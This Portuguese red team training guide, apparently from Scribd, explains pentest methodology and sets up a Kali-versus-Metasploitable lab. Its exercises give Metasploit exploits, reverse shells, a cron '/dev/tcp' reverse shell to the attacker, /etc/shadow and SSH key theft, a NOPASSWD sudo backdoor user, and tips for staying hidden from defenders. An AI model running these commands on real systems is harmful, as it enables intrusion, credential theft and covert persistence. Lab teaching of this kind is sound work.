0% acharam este documento útil (0 voto)
7 visualizações20 páginas

Metodologias de Red Team em Pentest

O documento aborda metodologias de Red Team em ambientes corporativos, focando em técnicas de pentest em aplicações web avançadas e a importância do pentest para a segurança cibernética. Ele descreve as categorias de pentest (White Box, Black Box e Grey Box), a metodologia OWASP e as aplicações dos testes de intrusão, além de detalhar o processo de Red Teaming e suas ferramentas. Também inclui orientações sobre a configuração de um laboratório para exercícios práticos utilizando Metasploitable e Kali Linux.

Enviado por

Victor Hugo
Direitos autorais
© All Rights Reserved
Levamos muito a sério os direitos de conteúdo. Se você suspeita que este conteúdo é seu, reivindique-o aqui.
Formatos disponíveis
Baixe no formato PDF, TXT ou leia on-line no Scribd
0% acharam este documento útil (0 voto)
7 visualizações20 páginas

Metodologias de Red Team em Pentest

O documento aborda metodologias de Red Team em ambientes corporativos, focando em técnicas de pentest em aplicações web avançadas e a importância do pentest para a segurança cibernética. Ele descreve as categorias de pentest (White Box, Black Box e Grey Box), a metodologia OWASP e as aplicações dos testes de intrusão, além de detalhar o processo de Red Teaming e suas ferramentas. Também inclui orientações sobre a configuração de um laboratório para exercícios práticos utilizando Metasploitable e Kali Linux.

Enviado por

Victor Hugo
Direitos autorais
© All Rights Reserved
Levamos muito a sério os direitos de conteúdo. Se você suspeita que este conteúdo é seu, reivindique-o aqui.
Formatos disponíveis
Baixe no formato PDF, TXT ou leia on-line no Scribd

Pesquisa sobre Metodologias de Red

Team Empresariais
Este documento detalha as metodologias de Red Team utilizadas em ambientes
corporativos, com foco em técnicas de pentest em aplicações web avançadas, conforme
a metodologia OWASP. O objetivo é fornecer uma base para a criação de exercícios
práticos no Metasploitable.

Pentest em Aplicações Web Avançadas: Metodologia do


Red Team
O pentest, ou teste de intrusão, é uma avaliação de segurança cibernética que simula
um ataque real a aplicações e sistemas. Seu objetivo é identificar brechas e fraquezas
que poderiam ser exploradas por invasores. Existem três categorias principais de
pentest:

• White Box: Os testadores têm conhecimento total da infraestrutura, código-fonte e


arquitetura da aplicação. Permite uma análise aprofundada para identificar
vulnerabilidades conhecidas e desconhecidas.
• Black Box: Os profissionais não têm conhecimento prévio da infraestrutura e
sistemas da aplicação. Eles simulam um atacante real, identificando
vulnerabilidades que poderiam ser exploradas externamente.
• Grey Box: Os testadores possuem conhecimento parcial sobre determinadas
partes de um sistema. Combina abordagens White e Black Box para uma análise
mais realista e abrangente.

Importância do Pentest

O pentest é essencial para a segurança proativa, permitindo a identificação antecipada


de falhas de segurança antes que sejam exploradas por criminosos cibernéticos. Além
disso, auxilia na conformidade com legislações de proteção de dados, como a LGPD.

Metodologia OWASP no Pentest e Red Team

A OWASP (Open Web Application Security Project) é uma comunidade global que visa
melhorar a segurança de software. O OWASP Top 10 lista as dez principais
vulnerabilidades de segurança em aplicações web, como injeção de SQL, cross-site
scripting (XSS) e autenticação inadequada. Essas vulnerabilidades representam vetores
de ataque potenciais que os invasores podem explorar.

Aplicações dos Testes de Intrusão

Os testes de intrusão podem ser aplicados em diversas categorias:

• WEB: Identificam vulnerabilidades no código, lógica de negócios e interfaces de


usuário de aplicações web, protegendo dados dos usuários.
• WEB APIs: Garantem que as APIs estejam protegidas contra ataques devido à
exposição inadequada de endpoints e dados sensíveis.
• Mobile: Buscam vulnerabilidades em aplicativos móveis que podem ser
exploradas por meio de dispositivos móveis, visando proteger informações
pessoais e sensíveis.

Casos de Perdas Evitadas com Pentest

Exemplos como o vazamento de dados do Facebook em 2018 e da Enel em 2020


demonstram como a ausência de testes de penetração pode resultar em consequências
graves. Avaliações de segurança aprofundadas poderiam ter identificado as brechas e
evitado a exposição de dados sensíveis.

O que é Red Teaming?


Red teaming é um processo para testar a eficácia da cibersegurança, onde hackers éticos
conduzem um ataque cibernético simulado e não destrutivo. O objetivo é identificar
vulnerabilidades no sistema e fazer melhorias direcionadas às operações de segurança.

Como os testes de Red Teaming são conduzidos?

O trabalho de red teaming emula as táticas, técnicas e procedimentos (TTPs) de


invasores reais. Hackers éticos usam as mesmas habilidades e ferramentas que os mal-
intencionados, mas com o objetivo de melhorar a segurança da rede. Eles obtêm
permissão das organizações antes de hackeá-las e não causam nenhum dano real.

Os exercícios de red team geralmente têm prazo limitado e começam com a pesquisa do
sistema-alvo (informações públicas, inteligência de código aberto e reconhecimento
ativo). Em seguida, lançam ataques simulados contra vários pontos da superfície de
ataque, explorando diferentes vetores. Alvos comuns incluem sistemas de IA, estações
de trabalho, sistemas criptográficos, firewalls, IDS, aplicações web e servidores web.
Durante os ataques simulados, os red teams frequentemente enfrentam blue teams
(defensores do sistema), tentando contornar suas defesas e registrando
vulnerabilidades. Os exercícios terminam com uma leitura final, onde as descobertas
são compartilhadas e recomendações de remediação são feitas.

Ferramentas e técnicas em engajamentos de Red Teaming

Algumas ferramentas e técnicas comuns incluem:

• Engenharia Social: Uso de táticas como phishing, smishing, vishing, spear


phishing e whale phishing para obter informações confidenciais ou acesso a
sistemas corporativos.
• Testes de segurança física: Testes dos controles de segurança física de uma
organização, incluindo sistemas de vigilância e alarmes.
• Teste de penetração de aplicações: Teste de aplicações web para encontrar
problemas de segurança decorrentes de erros de codificação, como
vulnerabilidades de injeção de SQL.
• Sniffing de rede: Monitoramento do tráfego da rede em busca de informações
sobre um sistema de TI, como detalhes de configurações e credenciais de usuários.
• Contaminação de conteúdo compartilhado: Adição de conteúdo a uma unidade
de rede ou outro local de armazenamento compartilhado que contém malware ou
outro código perigoso, permitindo movimento lateral.
• Credenciais de força bruta: Tentativa sistemática de adivinhar senhas testando
credenciais de violações anteriores, listas de senhas comuns ou scripts
automatizados.

Red Teaming Automatizado Contínuo (CART)

O CART permite que as organizações avaliem continuamente a postura de segurança em


tempo real, usando automação para descobrir ativos, priorizar vulnerabilidades e
conduzir ataques. Isso torna o red teaming mais acessível e libera profissionais de
segurança para testes mais inovadores.

Benefícios do Red Teaming

Os exercícios de red teaming ajudam as organizações a entender a perspectiva de um


invasor em seus sistemas, permitindo que vejam como suas defesas se comportam em
um cenário de ataque real.
O que é um Red Team?
O Red Team, ou Time vermelho, é uma equipe (ou, em alguns casos, um único
profissional) dedicada a simular ataques cibernéticos contra a própria empresa. Os
profissionais possuem vasto conhecimento das técnicas e truques utilizados por
criminosos para invadir uma rede corporativa e desviar dados sigilosos. Eles realizam
testes de intrusão, emulando uma investida real para identificar brechas ou falhas de
segurança.

Um Red Team pode ser interno (profissionais contratados fixos) ou externo


(colaboradores temporários ou terceirizados para testes pontuais).

Para quais empresas são indicadas as ações de um Red Team?

Qualquer empresa que deseje proteger seus sistemas e dados corporativos deve
considerar um Red Team. É especialmente indicado para:

• Empresas que queiram testar sua capacidade de detecção e resposta a


incidentes: Ajuda a verificar se as equipes de Segurança da Informação estão
preparadas para responder a ameaças e ataques.
• Empresas que queiram aumentar a conscientização e mostrar os impactos de
um ataque: Simulações bem-sucedidas justificam maiores investimentos em
cibersegurança e identificam falhas que exigem mais atenção.

Qual a função de um Red Team?

A principal função é realizar testes de penetração nos diferentes sistemas da empresa,


confrontando seus níveis de proteção. A partir desses testes, detectam, previnem e
eliminam vulnerabilidades, avaliando a qualidade da segurança cibernética. Práticas
criminosas comumente simuladas incluem:

• Ataques remotos pela internet


• Tunelamento de DNS e ICMP
• Tentativas de intrusão e ameaças internas
• Ataques baseados em VPN
• Cópia de cartão de acesso e teste de resistência
• Ataque HID, falso WAP e spoofing.

O que difere um Red Team de um Blue Team?

• Red Team: Ataca sistemas e redes corporativas para encontrar vulnerabilidades.


• Blue Team: Repara as falhas identificadas e aplica estratégias de defesa para
proteger sistemas, dados e aplicações.

Qual a importância da ação de um Red Team na estratégia de segurança


de uma empresa?

O crime cibernético evolui constantemente, com novas técnicas de engenharia social,


scams, malwares e exploits. O trabalho do Red Team deve ser contínuo e atualizado com
as últimas tendências do cibercrime. É crucial que o Red Team se adapte às
particularidades de cada setor (ex: SCADA em indústrias, dados sensíveis em fintechs).

Realizar exercícios com um Red Team é a forma mais confiável e eficaz de garantir que os
sistemas estejam sempre atualizados e livres de vulnerabilidades, evitando danos
reputacionais, prejuízos financeiros e sanções administrativas (especialmente com a
LGPD).

Estruturação do Laboratório e
Configuração
Para realizar os exercícios de Red Team de forma segura e eficaz, é fundamental
configurar um ambiente de laboratório isolado. Este ambiente permitirá a prática de
técnicas de exploração sem riscos para sistemas reais. Utilizaremos o Metasploitable
como alvo e o Kali Linux como sistema operacional de ataque, ambos rodando em uma
plataforma de virtualização como o VirtualBox ou VMware.

Componentes Necessários
1. Software de Virtualização:

◦ VirtualBox: Gratuito e de código aberto, ideal para iniciantes.


◦ VMware Workstation Player (gratuito para uso não comercial) ou Pro
(pago): Oferece recursos mais avançados e melhor desempenho.

2. Sistemas Operacionais:

◦ Metasploitable 2 ou 3: Uma máquina virtual Linux intencionalmente


vulnerável, projetada para testes de segurança. É o nosso alvo.
◦ Kali Linux: Uma distribuição Linux baseada em Debian, pré-carregada com
centenas de ferramentas de segurança, incluindo as utilizadas em Red Team e
testes de penetração. Será a nossa máquina de ataque.
Configuração do Ambiente

1. Instalação do Software de Virtualização

• VirtualBox: Baixe e instale o VirtualBox do site oficial ([Link]). Siga as


instruções de instalação para o seu sistema operacional (Windows, macOS, Linux).
• VMware Workstation Player/Pro: Baixe e instale a versão desejada do site oficial
da VMware ([Link]). Siga as instruções de instalação.

2. Download das Imagens ISO/VMs

• Metasploitable:
◦ Metasploitable 2: Pode ser baixado do SourceForge. Procure por
'Metasploitable 2' e baixe a imagem VMDK.
◦ Metasploitable 3: Requer um processo de construção via Vagrant e Packer,
sendo mais complexo para iniciantes. Recomenda-se o Metasploitable 2 para
este guia inicial.
• Kali Linux: Baixe a imagem ISO ou a imagem pré-construída para VirtualBox/
VMware do site oficial do Kali Linux ([Link]/get-kali/). Para iniciantes, a imagem
pré-construída é mais fácil de configurar.

3. Importação e Configuração das Máquinas Virtuais

Importando o Metasploitable (VMDK para VirtualBox/VMware)

1. VirtualBox:

◦ Abra o VirtualBox.
◦ Vá em Arquivo -> Importar Appliance .
◦ Selecione o arquivo VMDK do Metasploitable. Siga as instruções para
importar a VM.
◦ Após a importação, selecione a VM do Metasploitable e clique em
Configurações .
◦ Em Rede , configure o Adaptador 1 como Rede Interna (ou
Host-only Adapter se preferir uma rede isolada apenas entre o host e as
VMs). Dê um nome à rede (ex: redteam_lab ).

2. VMware:

◦ Abra o VMware Workstation Player/Pro.


◦ Vá em File -> Open e selecione o arquivo VMDK do Metasploitable.
◦ Siga as instruções para importar a VM.
◦ Após a importação, selecione a VM do Metasploitable e clique em Edit
virtual machine settings .
◦ Em Network Adapter , selecione Host-only ou Custom: Specific
virtual network (e escolha uma rede interna, como VMnet1 ).

Importando/Instalando o Kali Linux

1. VirtualBox (Imagem pré-construída):

◦ Abra o VirtualBox.
◦ Vá em Arquivo -> Importar Appliance .
◦ Selecione o arquivo .ova do Kali Linux. Siga as instruções para importar a
VM.
◦ Após a importação, selecione a VM do Kali Linux e clique em
Configurações .
◦ Em Rede , configure o Adaptador 1 como Rede Interna e selecione a
mesma rede que você criou para o Metasploitable (ex: redteam_lab ).

2. VirtualBox (Instalação via ISO):

◦ Crie uma nova máquina virtual (Linux, Debian 64-bit).


◦ Configure a memória RAM (mínimo 2GB) e o disco rígido virtual.
◦ No Armazenamento , adicione a imagem ISO do Kali Linux como um CD/DVD
virtual.
◦ Inicie a VM e siga o processo de instalação do Kali Linux.
◦ Após a instalação, configure a rede como Rede Interna e selecione a
mesma rede do Metasploitable.

3. VMware (Imagem pré-construída):

◦ Abra o VMware Workstation Player/Pro.


◦ Vá em File -> Open e selecione o arquivo .ova do Kali Linux.
◦ Siga as instruções para importar a VM.
◦ Após a importação, selecione a VM do Kali Linux e clique em Edit virtual
machine settings .
◦ Em Network Adapter , selecione Host-only ou Custom: Specific
virtual network (e escolha a mesma rede interna do Metasploitable).
Verificação da Conectividade

Após configurar ambas as VMs na mesma rede interna:

1. Inicie o Metasploitable. Anote o endereço IP que ele obtém (geralmente exibido no


console após o boot).
2. Inicie o Kali Linux.
3. No Kali Linux, abra um terminal e tente pingar o Metasploitable usando o IP que
você anotou. Ex: ping [Link] (o IP pode variar).
4. Se o ping for bem-sucedido, suas máquinas estão se comunicando na rede interna
e o laboratório está pronto para os exercícios.

Observação: É crucial que as máquinas virtuais estejam em uma rede interna ou host-
only para evitar que os ataques simulados afetem sua rede doméstica ou corporativa
real. Nunca exponha o Metasploitable diretamente à internet.

Exercícios de Reconhecimento e
Enumeração
O reconhecimento e a enumeração são as fases iniciais de qualquer operação de Red
Team ou pentest. Nesta etapa, o objetivo é coletar o máximo de informações possível
sobre o alvo antes de tentar qualquer exploração. Quanto mais informações forem
obtidas, maiores as chances de sucesso nas fases posteriores.

1. Reconhecimento Passivo (OSINT)


O reconhecimento passivo envolve a coleta de informações sem interagir diretamente
com o alvo. Isso minimiza o risco de detecção. Em um cenário empresarial, isso pode
incluir a busca por informações públicas sobre a empresa, seus funcionários,
tecnologias utilizadas, etc.

Ferramentas e Técnicas:

• Google Dorking: Utilizar operadores de busca avançados no Google para


encontrar informações específicas, como arquivos confidenciais, páginas de login,
diretórios abertos, etc.
◦ Exemplo: site:[Link] filetype:pdf confidential
• Shodan: Um motor de busca para dispositivos conectados à internet. Pode revelar
portas abertas, serviços em execução e vulnerabilidades conhecidas em ativos
expostos.
• Whois: Para obter informações de registro de domínio, como proprietário, contatos
e servidores DNS.
• Redes Sociais (LinkedIn, etc.): Para mapear funcionários, estrutura
organizacional e tecnologias mencionadas.

2. Reconhecimento Ativo e Enumeração


O reconhecimento ativo envolve a interação direta com o alvo para coletar informações.
Embora aumente o risco de detecção, fornece dados mais precisos e detalhados. A
enumeração é a fase de coleta de informações detalhadas sobre os serviços e sistemas
encontrados.

Cenário de Exercício no Metasploitable:

Assumindo que você já tem o Metasploitable e o Kali Linux configurados na mesma rede
interna.

Objetivo:

Identificar os serviços em execução no Metasploitable e as portas abertas.

Ferramentas e Comandos (no Kali Linux):

1. Descoberta de Hosts (Nmap - Ping Scan):

◦ Comando: nmap -sn [Link]/24 (substitua [Link]/24


pela sua faixa de rede interna)
◦ Explicação: O nmap -sn (ou -sP em versões mais antigas) realiza um ping
scan para descobrir quais hosts estão ativos na rede. Isso é útil para
identificar o IP do Metasploitable se você não o souber.
◦ Saída Esperada: Uma lista de IPs ativos, incluindo o do Metasploitable.

2. Varredura de Portas e Serviços (Nmap - Service Version Detection):

◦ Comando: nmap -sV -p- <IP_DO_METASPLOITABLE> (substitua


<IP_DO_METASPLOITABLE> pelo IP real do seu Metasploitable)
◦ Explicação:
▪ -sV : Tenta determinar a versão do serviço em execução nas portas
abertas.
▪ -p- : Varre todas as 65535 portas TCP. Isso pode levar tempo, mas é
exaustivo. Para uma varredura mais rápida das portas mais comuns, use
-p 1-1000 ou omita o -p- para varrer as 1000 portas mais comuns.
◦ Saída Esperada: Uma lista de portas abertas, o estado (aberta/fechada/
filtrada), o serviço em execução e sua versão. Exemplo: PORT STATE
SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 22/tcp open
ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) 23/tcp
open telnet Linux telnetd 80/tcp open http Apache httpd
2.2.8 ((Ubuntu) DAV/2) 139/tcp open netbios-ssn Samba smbd
3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn
Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 5432/tcp open
postgresql PostgreSQL DB 8180/tcp open http Apache Tomcat/
Coyote JSP engine 1.1

3. Enumeração de Serviços Específicos (Exemplos):

◦ FTP (Porta 21):

▪ Comando: nmap -sC -sV -p 21 <IP_DO_METASPLOITABLE>


▪ Explicação: -sC executa scripts padrão do Nmap para enumeração.
Para FTP, pode tentar login anônimo.
▪ Saída Esperada: Informações sobre o servidor FTP, se permite login
anônimo, etc.

◦ SMB (Portas 139, 445):

▪ Comando: nmap -sC -sV -p 139,445 <IP_DO_METASPLOITABLE>


▪ Explicação: O Nmap tentará enumerar compartilhamentos, usuários e
outras informações do Samba/SMB.
▪ Saída Esperada: Detalhes sobre os compartilhamentos SMB, usuários,
etc.

◦ HTTP (Porta 80):

▪ Comando: nmap -sC -sV -p 80 <IP_DO_METASPLOITABLE>


▪ Explicação: O Nmap pode identificar tecnologias web, diretórios e
outras informações relevantes.
▪ Saída Esperada: Detalhes sobre o servidor web, como Apache, e
possíveis diretórios.
▪ Dirb/Dirbuster/Gobuster: Para encontrar diretórios e arquivos ocultos
em servidores web.
▪ Exemplo: dirb [Link]
◦ PostgreSQL (Porta 5432):

▪ Comando: nmap -sC -sV -p 5432 <IP_DO_METASPLOITABLE>


▪ Explicação: O Nmap pode tentar identificar a versão do PostgreSQL e se
há alguma configuração padrão vulnerável.

Análise dos Resultados:

Após a execução desses comandos, você terá uma visão clara dos serviços expostos no
Metasploitable. Anote todas as portas abertas, os serviços e suas versões. Essas
informações serão cruciais para a próxima fase: a exploração.

Desenvolvimento de Exercícios de
Exploração
A fase de exploração é onde as vulnerabilidades identificadas durante o reconhecimento
e a enumeração são ativamente exploradas para obter acesso ao sistema alvo. No
contexto do Metasploitable, isso envolve o uso de ferramentas como o Metasploit
Framework para automatizar e executar exploits conhecidos.

Cenário de Exercício no Metasploitable:


Com base nos resultados da fase de enumeração, onde identificamos serviços e suas
versões, agora vamos explorar algumas dessas vulnerabilidades.

Ferramentas Principais:

• Metasploit Framework (msfconsole): A ferramenta mais poderosa para


desenvolvimento e execução de exploits, payloads e pós-exploração. Já vem pré-
instalada no Kali Linux.
• Searchsploit: Uma ferramenta de linha de comando para pesquisar o banco de
dados do Exploit-DB por exploits públicos.
Exercícios de Exploração

Exercício 1: Exploração do Serviço FTP (vsftpd 2.3.4)

Durante a enumeração, é comum encontrar o serviço FTP vsftpd versão 2.3.4. Esta
versão é conhecida por uma vulnerabilidade de backdoor que permite a execução de
comandos arbitrários.

Objetivo:

Obter uma shell de comando no Metasploitable explorando a vulnerabilidade do vsftpd.

Passos:

1. Iniciar o Metasploit Framework:

◦ Abra um terminal no Kali Linux e digite: msfconsole


◦ Aguarde o Metasploit carregar. Pode levar alguns segundos.

2. Pesquisar o Exploit:

◦ No prompt do msfconsole , pesquise por exploits relacionados ao vsftpd:


search vsftpd
◦ Você deve ver um exploit chamado exploit/unix/ftp/
vsftpd_234_backdoor .

3. Selecionar o Exploit:

◦ Use o exploit encontrado: use exploit/unix/ftp/


vsftpd_234_backdoor

4. Configurar as Opções do Exploit:

◦ Verifique as opções necessárias para o exploit: show options


◦ Você verá que RHOSTS (o IP do alvo) é uma opção obrigatória.
◦ Defina o IP do Metasploitable: set RHOSTS <IP_DO_METASPLOITABLE>
◦ (Opcional) Se a porta FTP não for a padrão (21), defina RPORT : set RPORT
<PORTA_FTP>

5. Executar o Exploit:

◦ Execute o exploit: exploit


◦ Se a exploração for bem-sucedida, você obterá uma shell de comando no
Metasploitable. Você pode verificar isso digitando comandos como whoami
ou ls .

Explicação:

Este exploit tira proveito de um backdoor intencionalmente inserido no código-fonte do


vsftpd versão 2.3.4. Quando um nome de usuário que contém :) é fornecido, o
backdoor é ativado, permitindo a execução de comandos arbitrários com privilégios de
root. O Metasploit automatiza esse processo, injetando o payload e fornecendo acesso à
shell.

Exercício 2: Exploração do Serviço Samba (Samba 3.0.20 - Arbitrary


Command Execution)

Outra vulnerabilidade comum no Metasploitable é a execução de comandos arbitrários


no serviço Samba, versão 3.0.20.

Objetivo:

Obter uma shell de comando no Metasploitable explorando a vulnerabilidade do Samba.

Passos:

1. Pesquisar o Exploit:

◦ No msfconsole , pesquise por exploits relacionados ao Samba: search


samba
◦ Procure por exploit/multi/samba/usermap_script .

2. Selecionar o Exploit:

◦ Use o exploit: use exploit/multi/samba/usermap_script

3. Configurar as Opções do Exploit:

◦ Verifique as opções: show options


◦ Defina o IP do Metasploitable para RHOSTS : set RHOSTS
<IP_DO_METASPLOITABLE>
◦ Defina o payload. Um payload comum para obter uma shell reversa é cmd/
unix/reverse_netcat : set PAYLOAD cmd/unix/reverse_netcat
◦ Defina LHOST (seu IP no Kali Linux) e LPORT (uma porta para o Kali ouvir a
conexão reversa): set LHOST <SEU_IP_KALI> set LPORT 4444
4. Executar o Exploit:

◦ Execute o exploit: exploit


◦ Se bem-sucedido, você obterá uma shell reversa no Metasploitable.

Explicação:

Esta vulnerabilidade no Samba 3.0.20 permite a execução de comandos arbitrários


devido a uma falha na forma como o serviço lida com o mapeamento de usuários. Ao
explorar essa falha, é possível injetar e executar comandos no sistema alvo, resultando
em uma shell de comando para o atacante. O payload reverse_netcat faz com que o
Metasploitable se conecte de volta ao Kali Linux, estabelecendo a shell reversa.

Exercício 3: Exploração de Aplicações Web (Tomcat Manager -


Credenciais Padrão)

O Metasploitable possui um servidor Apache Tomcat com o Manager App acessível.


Muitas vezes, as credenciais padrão não são alteradas, o que permite acesso não
autorizado.

Objetivo:

Obter acesso ao Tomcat Manager e, se possível, fazer upload de uma shell web.

Passos:

1. Pesquisar o Exploit/Auxiliary:

◦ No msfconsole , pesquise por módulos relacionados ao Tomcat: search


tomcat
◦ Procure por auxiliary/scanner/http/tomcat_mgr_login (para brute-
force de credenciais) e exploit/multi/http/tomcat_mgr_upload (para
upload de shell web).

2. Verificar Credenciais Padrão (Auxiliary Module):

◦ Use o módulo auxiliar de login: use auxiliary/scanner/http/


tomcat_mgr_login
◦ Defina RHOSTS para o IP do Metasploitable.
◦ Defina RPORT para a porta do Tomcat (geralmente 8180 ou 8080).
◦ Defina USERPASS_FILE para um arquivo de lista de usuários e senhas
comuns (ex: /usr/share/metasploit-framework/data/wordlists/
tomcat_mgr_default_users.txt ). set RHOSTS
<IP_DO_METASPLOITABLE> set RPORT 8180 set USERPASS_FILE /
usr/share/metasploit-framework/data/wordlists/
tomcat_mgr_default_users.txt exploit
◦ Se credenciais padrão forem encontradas (ex: tomcat:tomcat ou
admin:admin ), anote-as.

3. Upload de Shell Web (Exploit Module):

◦ Se as credenciais foram encontradas, use o módulo de upload: use


exploit/multi/http/tomcat_mgr_upload
◦ Defina RHOSTS , RPORT , USERNAME e PASSWORD com as credenciais
encontradas.
◦ Defina o payload para uma shell web, como java/
jsp_shell_reverse_tcp : set RHOSTS <IP_DO_METASPLOITABLE> set
RPORT 8180 set USERNAME <USUARIO_TOMCAT> set PASSWORD
<SENHA_TOMCAT> set PAYLOAD java/jsp_shell_reverse_tcp set
LHOST <SEU_IP_KALI> set LPORT 4444 exploit
◦ Isso fará o upload de uma shell JSP para o Tomcat e tentará estabelecer uma
conexão reversa.

Explicação:

Este exercício demonstra a importância de alterar credenciais padrão. O Metasploit


primeiro tenta autenticar no Tomcat Manager usando uma lista de senhas comuns. Uma
vez autenticado, ele pode fazer upload de um arquivo JSP malicioso (a shell web) para o
servidor. Quando essa shell é acessada via navegador, ela executa o código e tenta se
conectar de volta ao Kali Linux, fornecendo uma shell de comando.

Importante: Sempre verifique a documentação do exploit ( info no msfconsole) para


entender suas opções e requisitos antes de executar. A prática em um ambiente
controlado como o Metasploitable é crucial para entender o funcionamento dessas
vulnerabilidades e exploits.

Exercícios de Pós-Exploração e
Persistência
Após obter acesso inicial a um sistema, a fase de pós-exploração visa expandir o
controle sobre o ambiente comprometido, coletar informações adicionais, escalar
privilégios e estabelecer mecanismos de persistência. A persistência garante que o
acesso ao sistema seja mantido mesmo após reinicializações ou outras ações de
segurança.

Cenário de Exercício no Metasploitable:


Assumindo que você já obteve uma shell de comando no Metasploitable através de um
dos exploits anteriores (vsftpd, Samba, Tomcat, etc.).

Ferramentas Principais:

• Metasploit Framework (Meterpreter): O Meterpreter é um payload avançado do


Metasploit que oferece uma interface poderosa para pós-exploração, com uma
vasta gama de comandos e módulos.
• Comandos Linux/Unix: Conhecimento básico de comandos de sistema para
navegação, busca de arquivos, etc.

Exercícios de Pós-Exploração

Exercício 1: Escalada de Privilégios

Frequentemente, o acesso inicial é obtido com privilégios de usuário comum. A escalada


de privilégios é o processo de aumentar esses privilégios para root (no Linux) ou System/
Administrator (no Windows), permitindo controle total sobre o sistema.

Objetivo:

Obter privilégios de root no Metasploitable.

Técnicas Comuns (e como aplicá-las no Metasploitable):

1. Kernel Exploits:

◦ Conceito: Explorar vulnerabilidades no kernel do sistema operacional para


obter privilégios elevados.
◦ No Metasploitable: O Metasploitable 2 é baseado em um kernel Linux antigo
(Ubuntu 8.04), que possui várias vulnerabilidades conhecidas.
◦ **Passos (usando Meterpreter):
▪ Se você estiver em uma shell simples, tente migrar para Meterpreter. Se
já estiver em Meterpreter, continue.
▪ Use o comando sysinfo para obter informações sobre o kernel e a
arquitetura.
▪ Pesquise por exploits de kernel para a versão identificada. Ex:
searchsploit Ubuntu 8.04 kernel no Kali Linux.
▪ No Meterpreter, use o módulo post/multi/recon/
local_exploit_suggester para que o Metasploit sugira exploits de
escalada de privilégios com base nas informações do sistema alvo. run
post/multi/recon/local_exploit_suggester
▪ Escolha um exploit sugerido (ex: exploit/linux/local/
dirtycow_priv_esc ) e use-o para escalar privilégios. background
use exploit/linux/local/dirtycow_priv_esc set SESSION
<ID_DA_SESSAO_METERPRETER> exploit
▪ Após a execução bem-sucedida, você deve ter uma nova sessão com
privilégios de root. Verifique com getuid ou whoami .

2. Vulnerabilidades de Software/Serviços:

◦ Conceito: Explorar configurações incorretas ou vulnerabilidades em


softwares/serviços instalados com privilégios elevados.
◦ No Metasploitable: O Metasploitable possui serviços como o Tomcat, MySQL,
PostgreSQL, etc., que podem ter configurações padrão vulneráveis ou
credenciais fracas.
◦ Exemplo (MySQL): Se você encontrou credenciais para o MySQL (root:root),
pode tentar executar comandos do sistema através do MySQL para escalar
privilégios, ou usar o módulo exploit/multi/mysql/
mysql_udf_sysinfo no Metasploit para carregar uma UDF (User Defined
Function) maliciosa e executar comandos.

3. Arquivos SUID/SGID:

◦ Conceito: Programas com o bit SUID/SGID setado são executados com os


privilégios do proprietário do arquivo (geralmente root). Se um programa
SUID/SGID tiver uma vulnerabilidade, pode ser explorado para escalar
privilégios.
◦ No Metasploitable: Procure por arquivos SUID/SGID vulneráveis. bash
find / -perm -u=s -type f 2>/dev/null Analise os resultados e
pesquise por exploits para esses programas.

Exercício 2: Coleta de Informações e Exfiltração de Dados

Uma vez com privilégios elevados, o próximo passo é coletar informações sensíveis e, se
necessário, exfiltrá-las do sistema.
Objetivo:

Localizar arquivos sensíveis e simular a exfiltração.

Passos (usando Meterpreter):

1. Navegar no Sistema de Arquivos:

◦ ls : Listar diretórios.
◦ cd <diretorio> : Mudar de diretório.
◦ pwd : Mostrar diretório atual.

2. Procurar por Arquivos Sensíveis:

◦ Senhas: cat /etc/passwd , cat /etc/shadow (se tiver root), find / -


name *.conf -print 2>/dev/null | xargs grep -i password
◦ Chaves SSH: find / -name id_rsa -print 2>/dev/null
◦ Arquivos de Configuração: find / -name *.conf -print 2>/dev/
null
◦ Logs: /var/log/

3. Download de Arquivos (Exfiltração):

◦ No Meterpreter, use o comando download para copiar arquivos do alvo para


o Kali Linux. download /etc/shadow /home/kali/[Link]
◦ Para diretórios inteiros: download /var/www/ /home/kali/www_backup

4. Captura de Tela (se for uma sessão gráfica):

◦ screenshot : Tira uma captura de tela da sessão do usuário.

Exercício 3: Estabelecendo Persistência

A persistência garante que você possa acessar o sistema comprometido novamente,


mesmo que ele seja reiniciado ou que a sessão atual seja perdida. Isso é crucial em
operações de Red Team de longo prazo.

Objetivo:

Criar um mecanismo de persistência no Metasploitable.


Técnicas Comuns (e como aplicá-las no Metasploitable):

1. Adicionar Usuário:

◦ Conceito: Criar um novo usuário com privilégios elevados.


◦ Passos (em uma shell de root): bash useradd -m -s /bin/bash -p $
(openssl passwd -1 'suasenha') novo_usuario usermod -aG
sudo novo_usuario # Adicionar ao grupo sudo (se existir)
echo 'novo_usuario ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers
# Acesso sudo sem senha Lembre-se de usar uma senha forte e um
nome de usuário discreto.

2. Backdoor em Serviços Existentes:

◦ Conceito: Modificar um serviço legítimo para que ele execute um comando


malicioso ou abra uma porta de backdoor.
◦ Exemplo (SSH): Modificar o arquivo sshd_config para permitir login com
senha para o usuário root (se desabilitado) ou adicionar uma chave SSH
pública para acesso sem senha.

3. Tarefas Agendadas (Cron Jobs):

◦ Conceito: Agendar um script malicioso para ser executado periodicamente


ou em um horário específico.
◦ Passos (em uma shell de root):
bash echo '@reboot /bin/bash -i >& /dev/tcp/<SEU_IP_KALI>/
4444 0>&1' | crontab - Isso cria uma shell reversa no reboot. Substitua
<SEU_IP_KALI> pelo seu IP e 4444 pela porta de escuta.

4. Backdoor em Arquivos de Inicialização:

◦ Conceito: Inserir comandos maliciosos em scripts que são executados


durante a inicialização do sistema (ex: /etc/[Link] , /etc/init.d/ ).

5. Módulos do Metasploit para Persistência:

◦ O Metasploit possui módulos específicos para persistência. No Meterpreter,


você pode usar: run persistence -U -i 5 -p 4444 -r
<SEU_IP_KALI> Isso cria um script de persistência que tenta se conectar de
volta ao Kali a cada 5 segundos. Use help persistence para ver todas as
opções.

Considerações de Red Team: Ao estabelecer persistência, o objetivo é ser o mais


discreto possível. Evite criar arquivos óbvios ou modificar configurações que possam ser
facilmente detectadas por um Blue Team. O uso de técnicas que se misturam ao tráfego
e processos legítimos é preferível.

Você também pode gostar